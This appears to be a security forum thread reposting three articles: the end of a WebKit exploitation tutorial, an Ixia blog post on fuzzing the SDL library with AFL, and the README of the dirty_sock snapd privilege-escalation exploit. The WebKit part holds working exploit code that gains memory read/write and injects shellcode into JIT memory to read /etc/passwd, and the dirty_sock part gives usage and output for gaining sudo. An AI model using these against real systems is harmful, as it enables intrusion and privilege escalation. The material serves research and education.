to retrieve the integer value function setup_addrof() { function p32(num) { value = num.toString(16) return "0".repeat(8 - value.length) + value } return function(obj) { fake_object.a = obj value = "" value = "0x" + p32(fake_object_memory[5]) + "" + p32(fake_object_memory[4]) return new Int64(value) } } // Same // But we pass integer value first. then retrieve object function setup_fakeobj() { return function(addr) { //fake_object_memory[4] = addr[0] //fake_object_memory[5] = addr[1] value = addr.toString().replace("0x", "") fake_object_memory[4] = parseInt(value.slice(8, 16), 16) fake_object_memory[5] = parseInt(value.slice(0, 8), 16) return fake_object.a } } addrof = setup_addrof() fakeobj = setup_fakeobj() debug("[+] set up addrof/fakeobj") var addr = addrof({p: 0x1337}); assert(fakeobj(addr).p == 0x1337, "addrof and/or fakeobj does not work"); debug('[+] exploit primitives working'); // Use fake_object + 0x40 cradt another fake object for read/write var container_addr = Add(addrof(fake_object), 0x40) fake_object_memory[16] = 0x00001000; fake_object_memory[17] = 0x01082007; var structs = [] for (var i = 0; i < 0x1000; ++i) { var a = [13.37]; a.pointer = 1234; a['prop' + i] = 13.37; structs.push(a); } // We will use victim as the butterfly pointer of contianer object victim = structs[0x800] victim_addr = addrof(victim) victim_addr_hex = victim_addr.toString().replace("0x", "") fake_object_memory[19] = parseInt(victim_addr_hex.slice(0, 8), 16) fake_object_memory[18] = parseInt(victim_addr_hex.slice(8, 16), 16) // Overwrite container to fake_object.b container_addr_hex = container_addr.toString().replace("0x", "") fake_object_memory[7] = parseInt(container_addr_hex.slice(0, 8), 16) fake_object_memory[6] = parseInt(container_addr_hex.slice(8, 16), 16) var hax = fake_object.b var origButterfly = hax[1]; var memory = { addrof: addrof, fakeobj: fakeobj, // Write an int64 to the given address. // we change the butterfly of victim to addr + 0x10 // when victim change the pointer attribute, it will read butterfly - 0x10 // which equal to addr + 0x10 - 0x10 = addr // read arbiutrary value is almost the same writeInt64(addr, int64) { hax[1] = Add(addr, 0x10).asDouble(); victim.pointer = int64.asJSValue(); }, // Write a 2 byte integer to the given address. Corrupts 6 additional bytes after the written integer. write16(addr, value) { // Set butterfly of victim object and dereference. hax[1] = Add(addr, 0x10).asDouble(); victim.pointer = value; }, // Write a number of bytes to the given address. Corrupts 6 additional bytes after the end. write(addr, data) { while (data.length % 4 != 0) data.push(0); var bytes = new Uint8Array(data); var ints = new Uint16Array(bytes.buffer); for (var i = 0; i < ints.length; i++) this.write16(Add(addr, 2 * i), ints[i]); }, // Read a 64 bit value. Only works for bit patterns that don't represent NaN. read64(addr) { // Set butterfly of victim object and dereference. hax[1] = Add(addr, 0x10).asDouble(); return this.addrof(victim.pointer); }, // Verify that memory read and write primitives work. test() { var v = {}; var obj = {p: v}; var addr = this.addrof(obj); assert(this.fakeobj(addr).p == v, "addrof and/or fakeobj does not work"); var propertyAddr = Add(addr, 0x10); var value = this.read64(propertyAddr); assert(value.asDouble() == addrof(v).asDouble(), "read64 does not work"); this.write16(propertyAddr, 0x1337); assert(obj.p == 0x1337, "write16 does not work"); }, }; memory.test(); debug("[+] limited memory read/write working"); // Get JIT code address debug(describe(func)) var funcAddr = memory.addrof(func); debug(`[+] shellcode function object @ ${funcAddr}`); var executableAddr = memory.read64(Add(funcAddr, 24)); debug(`[+] executable instance @ ${executableAddr}`); var jitCodeObjAddr = memory.read64(Add(executableAddr, 24)); debug(`[+] JITCode instance @ ${jitCodeObjAddr}`); var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 368)); //var jitCodeAddr = memory.read64(Add(jitCodeObjAddr, 352)); debug(`[+] JITCode @ ${jitCodeAddr}`); // Our shellcode var shellcode = [0xeb, 0x3f, 0x5f, 0x80, 0x77, 0xb, 0x41, 0x48, 0x31, 0xc0, 0x4, 0x2, 0x48, 0x31, 0xf6, 0xf, 0x5, 0x66, 0x81, 0xec, 0xff, 0xf, 0x48, 0x8d, 0x34, 0x24, 0x48, 0x89, 0xc7, 0x48, 0x31, 0xd2, 0x66, 0xba, 0xff, 0xf, 0x48, 0x31, 0xc0, 0xf, 0x5, 0x48, 0x31, 0xff, 0x40, 0x80, 0xc7, 0x1, 0x48, 0x89, 0xc2, 0x48, 0x31, 0xc0, 0x4, 0x1, 0xf, 0x5, 0x48, 0x31, 0xc0, 0x4, 0x3c, 0xf, 0x5, 0xe8, 0xbc, 0xff, 0xff, 0xff, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x41] var s = "A".repeat(64); var strAddr = addrof(s); var strData = Add(memory.read64(Add(strAddr, 16)), 20); // write shellcode shellcode.push(...strData.bytes()); memory.write(jitCodeAddr, shellcode); // trigger and get /etc/passwd func(); print() Acknowledgement Thanks to Sakura0 who guides me from the sketch. Otherwise, this post will come out much slower. I will also acknowledge all the authors in the reference list. Your share encourages the whole info-sec community! References Groß S, 2018, Black Hat USA, “Attacking Client-Side JIT Compilers” Han C, “js-vuln-db” Gianni A and Heel1an S, “Exploit WebKit Heap” Filip Pizlo, http://www.filpizlo.com, Thanks for many presentations! Groß S, 2018, 35C3 CTF WebKid Challenge dwfault, 2018, WebKit Debugging Skills Tags: WebKit Categories: Tutorial Updated: December 05, 2018 Sursa: https://www.auxy.xyz/tutorial/Webkit-Exp-Tutorial/#acknowledgement
      • 1
      • Upvote
  24. Blog How to Use Fuzzing in Security Research SHARE: Facebook Twitter LinkedIn February 12, 2019 by Radu-Emanuel Chiscariu Introduction Fuzzing is one of the most employed methods for automatic software testing. Through fuzzing, one can generate a lot of possible inputs for an application, according to a set of rules, and inject them into a program to observe how the application behaves. In the security realm, fuzzing is regarded as an effective way to identify corner-case bugs and vulnerabilities. There are a plethora of fuzzing frameworks, both open-source projects and commercial. There are two major classes of fuzzing techniques: Evolutionary-based fuzzing: They employ genetic algorithms to increase code coverage. They will modify the supplied test cases with the purpose to reach further into the analyzed application. Intuitively, this requires some form of code instrumentation to supply feedback to the mutation engine. Evolutionary-based fuzzers are, in general, oblivious of the required input format, sort of ‘learning’ it along the way. This technique is well supported and maintained in the open-source community. State-of-the-art tools include American Fuzzy Lop (AFL), libFuzzer, and honggfuzz. Generational-based fuzzing: As opposed to evolutionary-based fuzzers, they build an input based on some specifications and/or formats that provide context-awareness. State-of-the-art commercial tools include Defensics and PeachFuzzer, and open source tools include Peach, Spike, and Sulley. This classification is not mutually exclusive, but more of a general design distinction. There are tools that include both techniques, such as PeachFuzzer. Here at the Application and Threat Intelligence (ATI) Research Center, one of our objectives is to identify vulnerabilities in applications and help developers fix them before they are exploited. This is done by connecting different applications and libraries to our fuzzing framework. This article will show how we use fuzzing in our security research by highlighting some of our findings while investigating an open-source library. Fuzzing THE SDL Library The Simple DirectMedia Layer (SDL) is a cross-platform library that provides an API for implementing multimedia software, such as games and emulators. Written in C, it is actively maintained and employed by the community. Choosing a Fuzzing Framework We are going to fuzz SDL using the well-known AFL. Written by lcamtuf, AFL uses runtime-guided techniques, compile-time instrumentation, and genetic algorithms to create mutated input for the tested application. It has an impressive trophy case of identified vulnerabilities, which is why it is considered one of the best fuzzing frameworks out there. Some researchers studied AFL in detail and came up with extensions that modify the behavior of certain components, for example the mutation strategy or importance attributed to different code branches. Such projects gave rise to FairFuzz, AFL-GO, afl-unicorn, AFLSmart, and python-AFL. We are going to use AFLFast, a project that implemented some fuzzing strategies to target not only high-frequency code paths, but also low-frequency paths, “to stress significantly more program behavior in the same amount of time.” In short, during our research, we observed that for certain fuzzing campaigns, this optimization produces an approximate 2x speedup improvement and a better overall code coverage compared to vanilla AFL. Fuzzing Preparation To use AFL, you must compile the library’s sources with AFL’s compiler wrappers. $ ./configure CC=afl-clang-fast \ CFLAGS ="-O2 -D_FORTIFY_SOURCE=0 -fsanitize=address" \ LDFLAGS="-O2 -D_FORTIFY_SOURCE=0 -fsanitize=address" $ make; sudo make install As observed, we will use both the AFL instrumentation and the ASAN (Address Sanitizer) compiler tool, used to identify memory-related errors. As specified here, ASAN adds a 2x slowdown to execution speed to the instrumented program, but the gain is much higher, allowing us to possibly detect memory-related issues such as: Use-after-free (dangling pointer dereference) Heap buffer overflow Stack buffer overflow Global buffer overflow Use after return Use after scope Initialization order bugs Memory leaks Furthermore, to optimize the fuzzing process, we compile the sources with: -D_FORTIFY_SOURCE=0 (ASAN doesn't support source fortification, so disable it to avoid false warnings) -O2 (Turns on all optimization flags specified by -O ; for LLVM 3.6, -O1 is the default setting) Let’s check if the settings were applied successfully: $ checksec /usr/local/lib/libSDL-1.2.so.0 [*] '/usr/local/lib/libSDL-1.2.so.0' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ASAN: Enabled Checksec is a nice tool that allows users to inspect binaries for security options, such as whether the binary is built with a non-executable stack (NX), or with relocation table as read-only (RELRO). It also checks whether the binary is built with ASAN instrumentation, which is what we need. It is part of the pwntools Python package. As observed, the binaries were compiled with ASAN instrumentation enabled as we wanted. Now let’s proceed to fuzzing! Writing a Test Harness An AFL fuzzing operation consists of three primary steps: Fork a new process Feed it an input modified by the mutation engine Monitor the code coverage by keeping a track of which paths are reached using this input, informing you if any crashes or hangs occurred This is done automatically by AFL, which makes it ideal for fuzzing binaries that accept input as an argument, then parse it. But to fuzz the library, we must first make a test harness and compile it. In our case, a harness is simply a C program that makes use of certain methods from a library, allowing you to indirectly fuzz it. #include <stdlib.h> #include "SDL_config.h" #include "SDL.h" struct { SDL_AudioSpec spec; Uint8 *sound; /* Pointer to wave data */ Uint32 soundlen; /* Length of wave data */ int soundpos; /* Current play position */ } wave; /* Call this instead of exit(), to clean up SDL. */ static void quit(int rc){ SDL_Quit(); exit(rc); } int main(int argc, char *argv[]){ /* Load the SDL library */ if ( SDL_Init(SDL_INIT_AUDIO) < 0 ) { fprintf(stderr, "[-] Couldn't initialize SDL: %s\n",SDL_GetError()); return(1); } if ( argv[1] == NULL ) { fprintf(stderr, "[-] No input supplied.\n"); } /* Load the wave file */ if ( SDL_LoadWAV(argv[1], &wave.spec, &wave.sound, &wave.soundlen) == NULL ) { fprintf(stderr, "Couldn't load %s: %s\n", argv[1], SDL_GetError()); quit(1); } /* Free up the memory */ SDL_FreeWAV(wave.sound); SDL_Quit(); return(0); } Our intention here is to initialize the SDL environment, then fuzz the SDL_LoadWAV method pertaining to the SDL audio module. To do that, we will supply a sample WAV file, with which AFL will tamper using its mutation engine to go as far into the library code as possible. Introducing some new fuzzing terminology, this file represents our initial seed, which will be placed in the corpus_wave folder. Let’s compile it: $ afl-clang-fast -o harness_sdl harness_sdl.c -g -O2 \ -D_FORTIFY_SOURCE=0 -fsanitize=address \ -I/usr/local/include/SDL -D_GNU_SOURCE=1 -D_REENTRANT \ -L/usr/local/lib -Wl,-rpath,/usr/local/lib -lSDL -lX11 -lpthread And start the fuzzing process: $ afl-fuzz -i corpus_wave/ -o output_wave -m none -M fuzzer_1_SDL_sound \ -- /home/radu/apps/sdl_player_lib/harness_sdl @@ As you can see, starting a fuzzing job is easy, we just execute afl-fuzz with the following parameters: The initial corpus ( -i corpus_wave ) The output of the fuzzing attempt ( -o output_wave ) Path to the compiled harness Instruct AFL how to send the test sample to the fuzzed program ( @@ for providing it as an argument) Memory limit for the child process ( -m none since ASAN needs close to 20TB of memory on x86_64 architecture) There are other useful parameters that you can use, such as specifying a dictionary containing strings related to a certain file format, which would theoretically help the mutation engine reach certain paths quicker. But for now, let’s see how this goes. My display is ok, that is just a mountain in the back. We are conducting this investigation on a machine with 32GB of RAM, having 2 AMD Opteron 6328 CPUs, each with 4 cores per socket and 2 threads per core, giving us a total of 16 threads. As we can observe, we get 170 evaluated samples per second as the fuzzing speed. Can we do better than that? Optimizing for Better Fuzzing Speed Some of the things we can tweak are: By default, AFL forks a process every time it tests a different input. We can control AFL to run multiple fuzz cases in a single instance of the program, rather than reverting the program state back for every test sample. This will reduce the time spent in the kernel space and improve the fuzzing speed. This is called AFL_PERSISTENT mode. We can do that by including the __AFL_LOOP(1000) macro within our test harness. According to this, specifying the macro will force AFL to run 1000 times, with 1000 different inputs fed to the library. After that, the process is restarted by AFL. This ensures we regularly replace the process to avoid memory leaks. The test case specified as the initial corpus is 119KB, which is too much. Maybe we can find a significantly smaller test case? Or provide more test cases, to increase the initial code coverage? We are running the fuzzer from a hard disk. If we switch to a ramdisk, forcing the fuzzer to get its testcases directly from RAM, we might get a boost from this too. Last but not the least, we can run multiple instances in parallel, enforcing AFL to use 1 CPU for one fuzzing instance. Let’s see how our fuzzer performs with all these changes. Run, Fuzzer, run! For one instance, we get a 2.4x improvement speed and already a crash! Running one master instance and four more slave instances, we get the following stats: $ afl-whatsup -s output_wave/ status check tool for afl-fuzz by <lcamtuf@google.com> Summary stats ============= Fuzzers alive : 5 Total run time : 0 days, 0 hours Total execs : 0 million Cumulative speed : 1587 execs/sec Pending paths : 6 faves, 35 total Pending per fuzzer : 1 faves, 7 total (on average) Crashes found : 22 locally unique With 5 parallel fuzzers, we get more than 1500 executions per second, which is a decent speed. Let’s see them working! Results After one day of fuzzing, we got a total of 60 unique crashes. Triaging them, we obtained 12 notable ones, which were reported to the SDL community and MITRE. In effect, CVE-2019-7572, CVE-2019-7573, CVE-2019-7574, CVE-2019-7575, CVE-2019-7576, CVE-2019-7577, CVE-2019-7578, CVE-2019-7635, CVE-2019-7636, CVE-2019-7637, CVE-2019-7638 were assigned. The maintainers of the library acknowledged that the vulnerabilities are present in the last version (2.0.9) of the library as well. Just to emphasize the fact that some bugs can stay well-hidden for years, some of the vulnerabilities were introduced with a commit dating from 2006 and have never been discovered until now. LEVERAGE SUBSCRIPTION SERVICE TO STAY AHEAD OF ATTACKS The Ixia's Application and Threat Intelligence (ATI) Subscription provides bi-weekly updates of the latest application protocols and attacks for use with Ixia test platforms. The ATI Research Center continuously monitors threats as they appear in the wild. Customers of our BreakingPoint product have access to strikes for different attacks, allowing them to test their currently deployed security controls’ ability to detect or block such attacks; this capability can afford you time to patch your deployed web applications. Our monitoring of in-the-wild attackers ensures that such attacks are also blocked for customers of Ixia ThreatARMOR. Sursa: https://www.ixiacom.com/company/blog/how-use-fuzzing-security-research
      • 1
      • Upvote
  25. dirty_sock: Linux Privilege Escalation (via snapd) In January 2019, current versions of Ubuntu Linux were found to be vulnerable to local privilege escalation due to a bug in the snapd API. This repository contains the original exploit POC, which is being made available for research and education. For a detailed walkthrough of the vulnerability and the exploit, please refer to the blog posting here. Ubuntu comes with snapd by default, but any distribution should be exploitable if they have this package installed. You can easily check if your system is vulnerable. Run the command below. If your snapd is 2.37.1 or newer, you are safe. $ snap version ... snapd 2.37.1 ... Usage Version One (use in most cases) This exploit bypasses access control checks to use a restricted API function (POST /v2/create-user) of the local snapd service. This queries the Ubuntu SSO for a username and public SSH key of a provided email address, and then creates a local user based on these value. Successful exploitation for this version requires an outbound Internet connection and an SSH service accessible via localhost. To exploit, first create an account at the Ubuntu SSO. After confirming it, edit your profile and upload an SSH public key. Then, run the exploit like this (with the SSH private key corresponding to public key you uploaded): python3 ./dirty_sockv1.py -u "you@yourmail.com" -k "id_rsa" [+] Slipped dirty sock on random socket file: /tmp/ktgolhtvdk;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Sending payload... [+] Success! Enjoy your new account with sudo rights! [Script will automatically ssh to localhost with the SSH key here] Version Two (use in special cases) This exploit bypasses access control checks to use a restricted API function (POST /v2/snaps) of the local snapd service. This allows the installation of arbitrary snaps. Snaps in "devmode" bypass the sandbox and may include an "install hook" that is run in the context of root at install time. dirty_sockv2 leverages the vulnerability to install an empty "devmode" snap including a hook that adds a new user to the local system. This user will have permissions to execute sudo commands. As opposed to version one, this does not require the SSH service to be running. It will also work on newer versions of Ubuntu with no Internet connection at all, making it resilient to changes and effective in restricted environments. Note for clarity: This version of the exploit does not hide inside a malicious snap. Instead, it uses a malicious snap as a delivery mechanism for the user creation payload. This is possible due to the same uid=0 bug as version 1 This exploit should also be effective on non-Ubuntu systems that have installed snapd but that do not support the "create-user" API due to incompatible Linux shell syntax. Some older Ubuntu systems (like 16.04) may not have the snapd components installed that are required for sideloading. If this is the case, this version of the exploit may trigger it to install those dependencies. During that installation, snapd may upgrade itself to a non-vulnerable version. Testing shows that the exploit is still successful in this scenario. See the troubleshooting section for more details. To exploit, simply run the script with no arguments on a vulnerable system. python3 ./dirty_sockv2.py [+] Slipped dirty sock on random socket file: /tmp/gytwczalgx;uid=0; [+] Binding to socket file... [+] Connecting to snapd API... [+] Deleting trojan snap (and sleeping 5 seconds)... [+] Installing the trojan snap (and sleeping 8 seconds)... [+] Deleting trojan snap (and sleeping 5 seconds)... ******************** Success! You can now `su` to the following account and use sudo: username: dirty_sock password: dirty_sock ******************** Troubleshooting If using version two, and the exploit completes but you don't see your new account, this may be due to some background snap updates. You can view these by executing snap changes and then snap change #, referencing the line showing the install of the dirty_sock snap. Eventually, these should complete and your account should be usable. Version 1 seems to be the easiest and fastest, if your environment supports it (SSH service running and accessible from localhost). Please open issues for anything weird. Disclosure Info The issue was reported directly to the snapd team via Ubuntu's bug tracker. You can read the full thread here. I was very impressed with Canonical's response to this issue. The team was awesome to work with, and overall the experience makes me feel very good about being an Ubuntu user myself. Public advisory links: https://wiki.ubuntu.com/SecurityTeam/KnowledgeBase/SnapSocketParsing https://usn.ubuntu.com/3887-1/ Sursa: https://github.com/initstring/dirty_sock/
×
×
  • Create New...